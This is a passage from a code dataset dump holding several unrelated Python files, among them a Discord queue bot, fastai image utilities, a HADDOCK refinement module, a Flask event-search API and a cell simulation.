datetime.now().strftime(\"%m/%d/%Y, %H:%M:%S\")\n await rs_log_channel.send(f\"RS{self.rs_channel[str(ctx.message.channel)]} Started at {formated_date} PST \\nUsers: {', '.join(print_people)}\")\n else:\n await self.print_queue(ctx, self.rs_channel[str(ctx.message.channel)])\n count = await self.amount(self.rs_channel[channel])\n if count == 3:\n await ctx.send(f\"{ctx.author.mention} joined {self.rs_ping_1more[f'RS{self.rs_channel[channel]}']} ({count}/4)\")\n else:\n await ctx.send(f\"{ctx.author.mention} joined {self.rs_ping[f'RS{self.rs_channel[channel]}']} ({count}/4)\")\n else:\n await ctx.send(f\"{ctx.author.mention}, you are already queued for a RS{self.rs_channel[channel]}, if you want to add another player to the queue, type +1\")\n else:\n await ctx.send(f\"{ctx.author.mention}, you aren't RS{self.rs_channel[channel]}\")\n\n @commands.command(aliases=[\"q\"], help=\"(!queue or !q) will show the current RS Queues\")\n async def queue(self, ctx):\n await self.print_queue(ctx, self.rs_channel[str(ctx.message.channel)])\n\n async def print_queue(self, ctx, level, display=True):\n extras = {\n 'croid': discord.utils.get(self.bot.emojis, name='croid'),\n 'influence': discord.utils.get(self.bot.emojis, name='influence'),\n 'nosanc': discord.utils.get(self.bot.emojis, name='nosanc'),\n 'notele': discord.utils.get(self.bot.emojis, name='notele'),\n 'rse': discord.utils.get(self.bot.emojis, name='rse'),\n 'suppress': discord.utils.get(self.bot.emojis, name='suppress'),\n 'unity': discord.utils.get(self.bot.emojis, name='unity'),\n 'veng': discord.utils.get(self.bot.emojis, name='veng'),\n 'barrage': discord.utils.get(self.bot.emojis, name='barrage'),\n 'laser': discord.utils.get(self.bot.emojis, name='laser'),\n 'dart': discord.utils.get(self.bot.emojis, name='dart'),\n 'battery': discord.utils.get(self.bot.emojis, name='battery'),\n 'solo': discord.utils.get(self.bot.emojis, name='solo'),\n 'solo2': discord.utils.get(self.bot.emojis, name='solo2')\n }\n queue_embed = discord.Embed(color=discord.Color.red())\n async with sessionmaker.begin() as session:\n people = (await session.execute(select(Queue).where(Queue.level == level))).scalars()\n count = 0\n counting = []\n for person in people:\n counting.append(person.amount)\n count += int(person.amount)\n if count > 0:\n list_people = []\n user_ids = []\n rsmods = []\n for person in (await session.execute(select(Queue).where(Queue.level == level))).scalars():\n list_people.append((await ctx.guild.fetch_member(person.user_id)).display_name)\n user_ids.append((await ctx.guild.fetch_member(person.user_id)).id)\n users_mods = (await session.get(Data, person.user_id))\n i = 0\n temp = \"\"\n LOGGER.debug(f\"Here is users_mods: {users_mods}\")\n if users_mods is not None:\n for mod in self.current_mods:\n #await ctx.send(f\"Mod: {mod} {getattr(users_mods, mod)}\")\n if(getattr(users_mods, mod) == True):\n temp += \" \" + (str(extras[self.current_mods[i]]))\n i += 1\n rsmods.append(temp)\n str_people = \"\"\n emoji_count = 0\n i = 0\n LOGGER.debug(f\"List People {list_people}\")\n for person in (await session.execute(select(Queue).where(Queue.level == level))).scalars():\n for j in range(counting[i]):\n str_people += str(list(self.emojis)[emoji_count])\n emoji_count += 1\n # Server_id, user_id, amount, level\n str_people += \" \" + list_people[i] + rsmods[i] + \" 🕒 \" + str(await self.queue_time(ctx.guild.id, user_ids[i], counting[i], self.rs_channel[str(ctx.message.channel)])) + \"m\"\n str_people += \"\\n\"\n i += 1\n queue_embed.add_field(\n name=f\"The Current RS{self.rs_channel[str(ctx.message.channel)]} Queue ({await self.amount(self.rs_channel[str(ctx.message.channel)])}/4)\",\n value=str_people, inline=False)\n await ctx.send(embed=queue_embed)\n else:\n if display:\n await ctx.send(f\"No RS{self.rs_channel[str(ctx.message.channel)]} Queues found, you can start one by typing +1\")\n\ndef setup(bot):\n bot.add_cog(RSQueue(bot))\n LOGGER.debug('RS Queueing loaded')\n","sub_path":"routines/cogs/queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":47757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"92574044","text":"from ..torch_core import *\nfrom .transform import *\nfrom ..data import *\n\n__all__ = ['CoordTargetDataset', 'DatasetTfm', 'FilesDataset', 'SegmentationDataset', 'bb2hw', 'denormalize', 'draw_outline', 'draw_rect', \n 'get_image_files', 'image2np', 'image_data_from_folder', 'normalize', 'normalize_batch', 'normalize_funcs', \n 'open_image', 'open_mask', 'pil2tensor', 'show_image', 'show_image_batch', 'show_images', 'show_xy_images',\n 'transform_datasets', 'cifar_norm', 'cifar_denorm', 'imagenet_norm', 'imagenet_denorm']\n\nTfmList = Collection[Transform]\n\nimage_extensions = set(k for k,v in mimetypes.types_map.items() if v.startswith('image/'))\n\ndef get_image_files(c:Path, check_ext:bool=True)->FilePathList:\n \"Return list of files in `c` that are images. `check_ext` will filter to `image_extensions`.\"\n return [o for o in list(c.iterdir())\n if not o.name.startswith('.') and not o.is_dir()\n and (not check_ext or (o.suffix in image_extensions))]\n\ndef pil2tensor(image:NPImage)->TensorImage:\n \"Convert PIL style `image` array to torch style image tensor `get_image_files`\"\n arr = ByteTensor(torch.ByteStorage.from_buffer(image.tobytes()))\n arr = arr.view(image.size[1], image.size[0], -1)\n return arr.permute(2,0,1)\n\ndef open_image(fn:PathOrStr):\n \"Return `Image` object created from image in file `fn`\"\n x = PIL.Image.open(fn).convert('RGB')\n return Image(pil2tensor(x).float().div_(255))\n\ndef open_mask(fn:PathOrStr) -> ImageMask: return ImageMask(pil2tensor(PIL.Image.open(fn)).long())\n\ndef image2np(image:Tensor)->np.ndarray:\n \"Convert from torch style `image` to numpy/matplotlib style\"\n res = image.cpu().permute(1,2,0).numpy()\n return res[...,0] if res.shape[2]==1 else res\n\ndef bb2hw(a:Collection[int]) -> np.ndarray:\n \"Converts bounding box points from (width,height,center) to (height,width,top,left)\"\n return np.array([a[1],a[0],a[3]-a[1],a[2]-a[0]])\n\ndef draw_outline(o:Patch, lw:int):\n \"Outlines bounding box onto image `Patch`\"\n o.set_path_effects([patheffects.Stroke(\n linewidth=lw, foreground='black'), patheffects.Normal()])\n\ndef draw_rect(ax:plt.Axes, b:Collection[int], color:str='white'):\n \"Draws bounding box on `ax`\"\n patch = ax.add_patch(patches.Rectangle(b[:2], *b[-2:], fill=False, edgecolor=color, lw=2))\n draw_outline(patch, 4)\n\ndef _show_image(img:Image, ax:plt.Axes=None, figsize:tuple=(3,3), hide_axis:bool=True, cmap:str='binary',\n alpha:float=None) -> plt.Axes:\n if ax is None: fig,ax = plt.subplots(figsize=figsize)\n ax.imshow(image2np(img), cmap=cmap, alpha=alpha)\n if hide_axis: ax.axis('off')\n return ax\n\ndef show_image(x:Image, y:Image=None, ax:plt.Axes=None, figsize:tuple=(3,3), alpha:float=0.5,\n title:Optional[str]=None, hide_axis:bool=True, cmap:str='viridis'):\n \"Plot tensor `x` using matplotlib axis `ax`. `figsize`,`axis`,`title`,`cmap` and `alpha` pass to `ax.imshow`\"\n ax1 = _show_image(x, ax=ax, hide_axis=hide_axis, cmap=cmap)\n if y is not None: _show_image(y, ax=ax1, alpha=alpha, hide_axis=hide_axis, cmap=cmap)\n if hide_axis: ax1.axis('off')\n if title: ax1.set_title(title)\n\ndef _show(self:Image, ax:plt.Axes=None, y:Image=None, **kwargs):\n if y is not None:\n is_bb = isinstance(y, ImageBBox)\n y=y.data\n if y is None or not is_bb: return show_image(self.data, ax=ax, y=y, **kwargs)\n ax = _show_image(self.data, ax=ax)\n if len(y.size()) == 1: draw_rect(ax, bb2hw(y))\n else:\n for i in range(y.size(0)): draw_rect(ax, bb2hw(y[i]))\n\nImage.show = _show\n\ndef show_images(x:Collection[Image],y:int,rows:int, classes:Collection[str], figsize:Tuple[int,int]=(9,9))->None:\n \"Plot images (`x[i]`) from `x` titled according to classes[y[i]]\"\n fig, axs = plt.subplots(rows,rows,figsize=figsize)\n for i, ax in enumerate(axs.flatten()):\n show_image(x[i], ax)\n ax.set_title(classes[y[i]])\n plt.tight_layout()\n\ndef show_image_batch(dl:DataLoader, classes:Collection[str], rows:int=None, figsize:Tuple[int,int]=(12,15),\n denorm:Callable=None) -> None:\n \"Show a few images from a batch\"\n x,y = next(iter(dl))\n if rows is None: rows = int(math.sqrt(len(x)))\n x = x[:rows*rows].cpu()\n if denorm: x = denorm(x)\n show_images(x,y[:rows*rows].cpu(),rows, classes)\n\nclass FilesDataset(LabelDataset):\n \"Dataset for folders of images in style {folder}/{class}/{images}\"\n def __init__(self, fns:FilePathList, labels:ImgLabels, classes:Optional[Classes]=None):\n self.classes = ifnone(classes, list(set(labels)))\n self.class2idx = {v:k for k,v in enumerate(self.classes)}\n self.x = np.array(fns)\n self.y = np.array([self.class2idx[o] for o in labels], dtype=np.int64)\n\n def __getitem__(self,i): return open_image(self.x[i]),self.y[i]\n\n @staticmethod\n def _folder_files(folder:Path, label:ImgLabel, check_ext=True)->Tuple[FilePathList,ImgLabels]:\n \"From `folder` return image files and labels. The labels are all `label`. `check_ext` means only image files\"\n fnames = get_image_files(folder, check_ext=check_ext)\n return fnames,[label]*len(fnames)\n\n @classmethod\n def from_single_folder(cls, folder:PathOrStr, classes:Classes, check_ext=True):\n \"Typically used for test set. label all images in `folder` with `classes[0]`\"\n fns,labels = cls._folder_files(folder, classes[0], check_ext=check_ext)\n return cls(fns, labels, classes=classes)\n\n @classmethod\n def from_folder(cls, folder:Path, classes:Optional[Classes]=None,\n valid_pct:float=0., check_ext:bool=True) -> Union['FilesDataset', List['FilesDataset']]:\n \"Dataset of `classes` labeled images in `folder`. Optional `valid_pct` split validation set.\"\n if classes is None: classes = [cls.name for cls in find_classes(folder)]\n\n fns,labels = [],[]\n for cl in classes:\n f,l = cls._folder_files(folder/cl, cl, check_ext=check_ext)\n fns+=f; labels+=l\n\n if valid_pct==0.: return cls(fns, labels, classes=classes)\n return [cls(*a, classes=classes) for a in random_split(valid_pct, fns, labels)]\n\nclass SegmentationDataset(DatasetBase):\n \"A dataset for segmentation task\"\n def __init__(self, x:Collection[PathOrStr], y:Collection[PathOrStr]):\n assert len(x)==len(y)\n self.x,self.y = np.array(x),np.array(y)\n\n def __getitem__(self, i:int) -> Tuple[Image,ImageMask]:\n return open_image(self.x[i]), open_mask(self.y[i])\n\ndef show_xy_images(x:Tensor,y:Tensor,rows:int,figsize:tuple=(9,9)):\n \"Shows a selection of images and targets from a given batch.\"\n fig, axs = plt.subplots(rows,rows,figsize=figsize)\n for i, ax in enumerate(axs.flatten()): show_image(x[i], y=y[i], ax=ax)\n plt.tight_layout()\n\n@dataclass\nclass CoordTargetDataset(Dataset):\n \"A dataset with annotated images\"\n x_fns:Collection[Path]\n bbs:Collection[Collection[int]]\n def __post_init__(self): assert len(self.x_fns)==len(self.bbs)\n def __repr__(self) -> str: return f'{type(self).__name__} of len {len(self.x_fns)}'\n def __len__(self) -> int: return len(self.x_fns)\n def __getitem__(self, i:int) -> Tuple[Image,ImageBBox]:\n x = open_image(self.x_fns[i])\n return x, ImageBBox.create(self.bbs[i], *x.size)\n\nclass DatasetTfm(Dataset):\n \"`Dataset` that applies a list of transforms to every item drawn\"\n def __init__(self, ds:Dataset, tfms:TfmList=None, tfm_y:bool=False, **kwargs:Any):\n \"this dataset will apply `tfms` to `ds`\"\n self.ds,self.tfms,self.kwargs,self.tfm_y = ds,tfms,kwargs,tfm_y\n self.y_kwargs = {**self.kwargs, 'do_resolve':False}\n\n def __len__(self)->int: return len(self.ds)\n\n def __getitem__(self,idx:int)->Tuple[ItemBase,Any]:\n \"returns tfms(x),y\"\n x,y = self.ds[idx]\n x = apply_tfms(self.tfms, x, **self.kwargs)\n if self.tfm_y: y = apply_tfms(self.tfms, y, **self.y_kwargs)\n return x, y\n\n def __getattr__(self,k):\n \"passthrough access to wrapped dataset attributes\"\n return getattr(self.ds, k)\n\ndef transform_datasets(train_ds:Dataset, valid_ds:Dataset, test_ds:Optional[Dataset]=None,\n tfms:Optional[Tuple[TfmList,TfmList]]=None, **kwargs:Any):\n \"Create train, valid and maybe test DatasetTfm` using `tfms` = (train_tfms,valid_tfms)\"\n res = [DatasetTfm(train_ds, tfms[0], **kwargs),\n DatasetTfm(valid_ds, tfms[1], **kwargs)]\n if test_ds is not None: res.append(DatasetTfm(test_ds, tfms[1], **kwargs))\n return res\n\ndef normalize(x:TensorImage, mean:float,std:float)->TensorImage: return (x-mean[...,None,None]) / std[...,None,None]\ndef denormalize(x:TensorImage, mean:float,std:float)->TensorImage: return x*std[...,None,None] + mean[...,None,None]\n\ndef normalize_batch(b:Tuple[Tensor,Tensor], mean:float, std:float, do_y:bool=False)->Tuple[Tensor,Tensor]:\n \"`b` = `x`,`y` - normalize `x` array of imgs and `do_y` optionally `y`\"\n x,y = b\n x = normalize(x,mean,std)\n if do_y: y = normalize(y,mean,std)\n return x,y\n\ndef normalize_funcs(mean:float, std, do_y=False, device=None)->[Callable,Callable]:\n \"Create normalize/denormalize func using `mean` and `std`, can specify `do_y` and `device`\"\n if device is None: device=default_device\n return (partial(normalize_batch, mean=mean.to(device),std=std.to(device)),\n partial(denormalize, mean=mean, std=std))\n\ncifar_stats = (tensor([0.491, 0.482, 0.447]), tensor([0.247, 0.243, 0.261]))\ncifar_norm,cifar_denorm = normalize_funcs(*cifar_stats)\nimagenet_stats = tensor([0.485, 0.456, 0.406]), tensor([0.229, 0.224, 0.225])\nimagenet_norm,imagenet_denorm = normalize_funcs(*imagenet_stats)\n\ndef _create_with_tfm(train_ds, valid_ds, test_ds=None,\n path='.', bs=64, ds_tfms=None, num_workers=default_cpus,\n tfms=None, device=None, size=None, **kwargs)->'DataBunch':\n \"`DataBunch` factory. `bs` batch size, `ds_tfms` for `Dataset`, `tfms` for `DataLoader`\"\n datasets = [train_ds,valid_ds]\n if test_ds is not None: datasets.append(test_ds)\n if ds_tfms: datasets = transform_datasets(*datasets, tfms=ds_tfms, size=size, **kwargs)\n dls = [DataLoader(*o, num_workers=num_workers) for o in\n zip(datasets, (bs,bs*2,bs*2), (True,False,False))]\n return DataBunch(*dls, path=path, device=device, tfms=tfms)\n\nDataBunch.create = _create_with_tfm\n\ndef image_data_from_folder(path:PathOrStr, train:PathOrStr='train', valid:PathOrStr='valid',\n test:Optional[PathOrStr]=None, **kwargs:Any):\n \"Create `DataBunch` from imagenet style dataset in `path` with `train`,`valid`,`test` subfolders\"\n path=Path(path)\n train_ds = FilesDataset.from_folder(path/train)\n datasets = [train_ds, FilesDataset.from_folder(path/valid, classes=train_ds.classes)]\n if test: datasets.append(FilesDataset.from_single_folder(\n path/test,classes=train_ds.classes))\n return DataBunch.create(*datasets, path=path, **kwargs)\n\n","sub_path":"fastai/vision/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":11119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"635552164","text":"import re\r\nimport os\r\nfrom colorFixer import fixColor\r\n\r\nclass Feature:\r\n def __init__(self, name='', obvsText='', actionText='', allowedActions=''):\r\n self.name = name\r\n self.obvsText = obvsText\r\n self.actionText = actionText\r\n self.allowedActions = allowedActions\r\n \r\n def __str__(self):\r\n return str(self.__class__) + \": \" + str(self.__dict__)\r\n \r\n def __eq__(self, other):\r\n self.name == other\r\n\r\n def loadFeature(self, gameName, featureName):\r\n featurePath = './saved_games/' + gameName + '/features/' + featureName + '.txt'\r\n if os.path.exists(featurePath) == False:\r\n return -1\r\n else:\r\n inputFeature = open(featurePath, 'r')\r\n for line in inputFeature:\r\n if 'actionText' in line:\r\n words = re.split(\"[:]+\", line)\r\n words = [x.strip() for x in words]\r\n counter = 1\r\n featureData = []\r\n if len(words) > 1:\r\n for x in words[1:]:\r\n if counter & 1 and x != '':\r\n featureData.append((x, fixColor(words[counter+1])))\r\n counter += 1\r\n elif 'allowedActions' in line:\r\n words = re.split(\"[:,]+\", line)\r\n words = [x.strip() for x in words]\r\n featureData = []\r\n if len(words) > 1:\r\n for x in words[1:]:\r\n if x != '':\r\n featureData.append(x)\r\n else:\r\n words = re.split(\"[:]+\", line)\r\n words = [x.strip() for x in words]\r\n featureData = fixColor(words[1])\r\n setattr(self, words[0], featureData)\r\n","sub_path":"feature.py","file_name":"feature.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"499426031","text":"\"\"\"Water refinement with CNS.\"\"\"\nfrom pathlib import Path\n\nfrom haddock.gear.haddockmodel import HaddockModel\nfrom haddock.libs.libcns import prepare_cns_input, prepare_expected_pdb\nfrom haddock.libs.libsubprocess import CNSJob\nfrom haddock.modules import get_engine\nfrom haddock.modules.base_cns_module import BaseCNSModule\n\n\nRECIPE_PATH = Path(__file__).resolve().parent\nDEFAULT_CONFIG = Path(RECIPE_PATH, \"defaults.yaml\")\n\n\nclass HaddockModule(BaseCNSModule):\n \"\"\"HADDOCK3 module for water refinement.\"\"\"\n\n name = RECIPE_PATH.name\n\n def __init__(self, order, path, initial_params=DEFAULT_CONFIG):\n cns_script = Path(RECIPE_PATH, \"cns\", \"mdref.cns\")\n super().__init__(order, path, initial_params, cns_script=cns_script)\n\n @classmethod\n def confirm_installation(cls):\n \"\"\"Confirm if module is installed.\"\"\"\n return\n\n def _run(self):\n \"\"\"Execute module.\"\"\"\n # Pool of jobs to be executed by the CNS engine\n jobs = []\n\n # Get the models generated in previous step\n try:\n models_to_refine = self.previous_io.retrieve_models()\n except Exception as e:\n self.finish_with_error(e)\n\n self.output_models = []\n \n sampling_factor = self.params[\"sampling_factor\"]\n if sampling_factor > 1:\n self.log(f\"sampling_factor={sampling_factor}\")\n if sampling_factor == 0:\n self.log(\"[Warning] sampling_factor cannot be 0, setting it to 1\")\n sampling_factor = 1\n if sampling_factor > 100:\n self.log(\"[Warning] sampling_factor is larger than 100\")\n \n # checking the ambig_fname:\n try:\n prev_ambig_fnames = [mod.restr_fname for mod in models_to_refine]\n except Exception as e: # noqa:F841\n # cannot extract restr_fname info from tuples\n prev_ambig_fnames = [None for mod in models_to_refine]\n\n ambig_fnames = self.get_ambig_fnames(prev_ambig_fnames)\n\n model_idx = 0\n idx = 1\n for model in models_to_refine:\n # assign ambig_fname\n if ambig_fnames:\n ambig_fname = ambig_fnames[model_idx]\n else:\n ambig_fname = self.params[\"ambig_fname\"]\n model_idx += 1\n\n for _ in range(self.params['sampling_factor']):\n inp_file = prepare_cns_input(\n idx,\n model,\n self.path,\n self.recipe_str,\n self.params,\n \"mdref\",\n ambig_fname=ambig_fname,\n native_segid=True,\n )\n out_file = f\"mdref_{idx}.out\"\n\n # create the expected PDBobject\n expected_pdb = prepare_expected_pdb(\n model, idx, \".\", \"mdref\"\n )\n expected_pdb.restr_fname = ambig_fname\n self.output_models.append(expected_pdb)\n\n job = CNSJob(inp_file, out_file, envvars=self.envvars)\n\n jobs.append(job)\n\n idx += 1\n\n # Run CNS Jobs\n self.log(f\"Running CNS Jobs n={len(jobs)}\")\n Engine = get_engine(self.params['mode'], self.params)\n engine = Engine(jobs)\n engine.run()\n self.log(\"CNS jobs have finished\")\n\n # Get the weights from the defaults\n _weight_keys = (\"w_vdw\", \"w_elec\", \"w_desolv\", \"w_air\", \"w_bsa\")\n weights = {e: self.params[e] for e in _weight_keys}\n\n for pdb in self.output_models:\n if pdb.is_present():\n haddock_model = HaddockModel(pdb.file_name)\n pdb.unw_energies = haddock_model.energies\n \n haddock_score = haddock_model.calc_haddock_score(**weights)\n pdb.score = haddock_score\n\n # Save module information\n self.export_output_models(faulty_tolerance=self.params[\"tolerance\"])\n","sub_path":"src/haddock/modules/refinement/mdref/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"403738631","text":"#!/usr/bin/python3\n\nfrom flask import Flask, request\nimport json\nimport re\nimport pymongo\nfrom run import config, app, zbrunk_db, events_collection, searcher_auth_tokens\n\n@app.route('/services/searcher', methods=['POST'])\ndef search():\n if request.method == 'POST':\n status_ok = True\n results = list()\n results_count = 0\n all_results_count = 0\n events = list()\n\n # Example:\n #curl -k https://127.0.0.1:8088/services/searcher \\\n # -d '{\"search\": \"query\", \"output_mode\": \"json\", \"max_count\":\"10000000\",\n # \"auth_token\":\"8DEE8A67-7700-4BA7-8CBF-4B917CE23512\"}'\n\n if request.json:\n try:\n search_params = request.json\n except:\n text = \"Data parsing failure\"\n code = 3\n status_ok = False\n elif request.form:\n search_params = dict()\n data_string = list(request.form)[0]\n print(data_string)\n try:\n search_params = json.loads(data_string)\n except:\n text = \"Data parsing failure\"\n code = 3\n status_ok = False\n\n auth_token = \"\"\n if search_params != dict():\n if 'auth_token' in search_params:\n auth_token = search_params['auth_token']\n if not auth_token in searcher_auth_tokens:\n text = \"Authentication Error\"\n code = 2\n status_ok = False\n if auth_token in searcher_auth_tokens:\n if 'read' not in searcher_auth_tokens[auth_token]['permissions']:\n text = \"Permission Denied\"\n code = 2\n status_ok = False\n\n search_delete = False\n if 'delete' in search_params:\n if search_params['delete'] == \"True\":\n search_delete = True\n if auth_token in searcher_auth_tokens:\n if 'delete' not in searcher_auth_tokens[auth_token]['permissions']:\n text = \"Permission Denied\"\n code = 2\n status_ok = False\n\n get_types = False #requeres read reprmissions\n if 'get_types' in search_params:\n if search_params['get_types'] == \"True\":\n get_types = True\n\n if status_ok == True:\n text = \"Success\"\n events = search_params['search']\n code = 0\n\n if get_types:\n search_request = {\"$and\": [\n {\"time\": {\"$gte\": int(search_params['search'][\"time\"][\"from\"])}},\n {\"time\": {\"$lte\": int(search_params['search'][\"time\"][\"to\"])}}\n ]}\n else:\n search_request = {\"$and\": [\n {\"event_type\": {\"$eq\": search_params['search'][\"event_type\"]}},\n {\"time\": {\"$gte\": int(search_params['search'][\"time\"][\"from\"])}},\n {\"time\": {\"$lte\": int(search_params['search'][\"time\"][\"to\"])}}\n ]}\n\n\n # Defaults\n if not \"max_count\" in search_params:\n search_params['max_count'] = \"100000\"\n if not \"skip\" in search_params:\n search_params['skip'] = \"0\"\n\n if search_delete:\n events_collection.remove(search_request)\n text = \"Events deleted\"\n elif get_types:\n types = events_collection.distinct(key='event_type', filter={\"$and\": [\n {\"time\": {\"$gte\": int(search_params['search'][\"time\"][\"from\"])}},\n {\"time\": {\"$lte\": int(search_params['search'][\"time\"][\"to\"])}}\n ]})\n for type in types:\n results.append(type)\n results_count = len(results)\n text = \"Types found\"\n else:\n search_results = events_collection.find(search_request).sort( [(\"time\", pymongo.DESCENDING)] ).skip(int(search_params['skip'])).limit(int(search_params['max_count']))\n all_results_count = search_results.count()\n for event in search_results:\n event['_id'] = str(event['_id'])\n results.append(event)\n results_count = len(results)\n\n return json.dumps({'results': results, 'results_count':results_count,\n 'all_results_count':all_results_count, 'text':text, 'code':code}) + \"\\n\"","sub_path":"web/searcher.py","file_name":"searcher.py","file_ext":"py","file_size_in_byte":4556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"564828245","text":"import numpy\n\nclass LivingCell(object):\n \"\"\" The class is a cell that lives on the map\n It is an object that interacts with the maps,\n consuming some resources and producing others\n\n Attributes:\n \n coordx - x-coord \n coordy - y-coord\n\n dna - (string) describes the atributes in a text string\n \n size - the size of the cell\n foodlimit - how much food it can consume\n sugardigest - the digestion rate of sugar\n lightdigest - the digestion rate of light\n meatdigest - the digestion rate of meat\n sugarsensor - the effectiveness of the sugar sensor (0-10) - pulls the cell against the sugar gradient\n lightsensor - the effectiveness of the light sensor (0-10) - pulls the cell against the light gradient\n meatsensor - the effectiveness of the meat sensor (0-10) - pull towards the closest cell\n flagela - the size of the flagela (sets the movement speed against the gradients\n\n\n\n childdev - (0-1) the % of child development\n\n\n Attributes: single letter, 0.1 contribution to size:\n a - nutrinet digest\n b - light digest\n c - meat digest\n Numbers - interpreted as numbers in a normalized sum (e.g. 11112345 = (1+1+1+1+2+3+4+5)/(8*9)\n\n Small features: double letters, .2 contribution to size\n aa - nutrient sensor\n bb - light sensor\n cc - meat sensor\n Numbers - interpreted as numbers in a normalized sum (e.g. 11112345 = (1+1+1+1+2+3+4+5)/(8*9)\n\n Large features: tripple letters, .5 contribution to size\n abc - flagella - allows to move up gradients\n aaa - nutrinet mouth - additional consumption of a resource\n bbb - light mouth - additional consumption of a resource\n ccc - meat mouth - additional consumption of a resource\n Numbers - interpreted as numbers in a normalized sum (e.g. 11112345 = (1+1+1+1+2+3+4+5)/(8*9)\n \n \"\"\"\n \n def __init__(self, coordx, coordy, dna, attributes=[('a','5')], sfeatures=[('','')], lfeatures=[('','')]):\n\n self.coordx = coordx\n self.coordy = coordy\n self.dna = dna\n for n in attributes:\n if n[0] == 'a':\n self.nutridigest = n[1]\n elif n[0] == 'b':\n self.lightdigest = n[1]\n elif n[0] == 'c':\n self.meatdigest = n[1]\n\n self.nutrisensor = []\n self.lightsensor = []\n self.meatsensor = []\n \n for n in sfeatures:\n if n[0] == 'aa':\n self.nutrisensor += [n[1]]\n elif n[0] == 'bb':\n self.lightsensor += [n[1]]\n elif n[0] == 'cc':\n self.meatsensor += [n[1]]\n\n self.flagella = []\n self.nutrimouth =[]\n self.lightmouth=[]\n self.meatmouth=[]\n for n in lfeatures:\n if n[0] == 'abc':\n self.flagella += [n[1]]\n elif n[0] == 'aaa':\n self.nutrimouth += [n[1]]\n elif n[0] == 'bbb':\n self.lightmouth += [n[1]]\n elif n[0] == 'ccc':\n self.lightmouth += [n[1]]\n \n\n\n self.size = 0.5+sum([a for (q,a) in attributes])*0.1+sum([a for (q,a) in sfeatures])*0.2+sum([a for (q,a) in lfeatures])*0.5\n\n self.radiation = 0\n self.childdev = 0\n self.childdna = ''\n self.food = 0.5 #amount of stored food\n\n\n def brownmove (self, temperature):\n #\"Fake Brownian motion of cell due to local temperature\"\n\n D=temperature/3000/self.size\n direction = numpy.random.randint(0,360)*numpy.pi/180\n dx=D*numpy.cos(direction)\n dy=D*numpy.sin(direction)\n self.coordx=self.coordx+dx\n self.coordy=self.coordy+dy\n\n def swim (self, sugarmap, lightmap, meatmap):\n #\"Motion of cells up the gradients, depending on cell's sensors and flagela\"\n \n x=numpy.round(self.coordx)\n y=numpy.round(self.coordy)\n \n gradsugarx=(sugarmap(x+1,y)-sugarmap(x,y))-(sugarmap(x,y)-sugarmap(x-1,y))\n gradsugary=(sugarmap(x,y+1)-sugarmap(x,y))-(sugarmap(x,y)-sugarmap(x,y-1))\n \n gradlightx=(lightmap(x+1,y)-lightmap(x,y))-(lightmap(x,y)-lightmap(x-1,y))\n gradlighty=(lightmap(x,y+1)-lightmap(x,y))-(lightmap(x,y)-lightmap(x,y-1)) \n\n\n dx=(gradsugarx*self.sugarsensor+gradlightx*self.lightsensor)*self.flagella/self.size\n dy=(gradsugary*self.sugarsensor+gradlighty*self.lightsensor)*self.flagella/self.size\n\n self.coordx=self.coordx+dx\n self.coordy=self.coordy+dy\n \n#\"\"\" def drift (currentdir, currentmag): \"\"\" \n\n def eat (self):\n #\"Eat materials that are on this cell and excrete materials onto this cell\"\n \"\"\" nutrient + O2 = CO2 + energy\n meat + O2 = CO2 + energy*2\n Light + CO2 = O2 + energy\"\"\"\n x=numpy.round(self.coordx)\n y=numpy.round(self.coordy)\n\n\n\n def foodincrease (self, eaten):\n\n if self.food < self.size:\n if self.food + eaten <= self.size:\n self.food = self.food + eaten\n else:\n self.childdev = self.childdev + eaten - (self.size - self.food)\n self.food = self.size\n\n else:\n self.food = self.size\n self.childdev = self.childdev + eaten\n\n def fooddecrease (self):\n consumption = self.size*self.flagella + 0.01\n self.food = self.food - consumption\n\n\n def childgrowth (self, radiationdose):\n if self.childdev > 0:\n self.radiation += radiationdose\n\n def childbirth (self):\n self.childdna = ''\n \n for n in self.dna:\n rand = numpy.random.rand()\n if rand < self.radiation/3000: #add a new letter\n self.childdna+= numpy.random.choice(['a','b','c','d','0','1','2','3','4','5','6','7','8','9'])\n \n elif rand > self.radiation/3000 and rand < self.radiation*2/3000: #remove a letter\n n = ''\n\n elif rand > self.radiation*2/3000 and rand < self.radiation*3/3000: #replace a letter\n n = numpy.random.choice(['a','b','c','d','0','1','2','3','4','5','6','7','8','9']) \n \n self.childdna+=n\n\n return self.childdna\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n","sub_path":"cell1.py","file_name":"cell1.py","file_ext":"py","file_size_in_byte":6546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"99789604","text":"\nimport re\nimport json\nimport csv\nimport os\n\n# Remove punctuation and symbols\ndef clean_str(text, lowering):\n if lowering == \"TRUE\": \n text = text.lower()\n\n text = re.sub('\\n', '', text)\n text = re.sub('\\s+', ' ', text)\n punct = '[,\\.@\\?\\!\\-\\=\\:\\–\\;\\\"]+'\n text = re.sub(punct, '', text)\n text = text.strip()\n return text\n\n\n# Function that takes a texts, collects metadata and writes metadata to the file meta.csv\ndef collect_meta(text):\n\n # Retrieving information\n head = re.search('''Текст (\\d+)\\.\\s(.+)\nЗаписано:\\s(\\d+\\.\\d+\\.\\d+),\\s(.+)\nФайл:\\s(.+)\nПродолжительность:\\s(.+)\nРассказано:\\s(.+)\nРасшифровка_лингвист:\\s(.+)\nРасшифровка_информанты:\\s(.+)\\n''', text)\n \n num = head.group(1)\n name = head.group(2) \n dat = head.group(3)\n loc = head.group(4)\n file = head.group(5)\n length = head.group(6)\n speaker = head.group(7)\n transcript_linguist = head.group(8)\n transcript_consultants = head.group(9)\n\n # Maping speaker names, lingusts ansd consultanst to codes\n with open(\"codes.json\", 'r') as f: \n codes = json.load(f)\n speaker_dict = codes[0]\n ling_dict = codes[1]\n consts_dict = codes[2]\n\n speaker_lastname = speaker.split(' ')[-1]\n speaker_code = 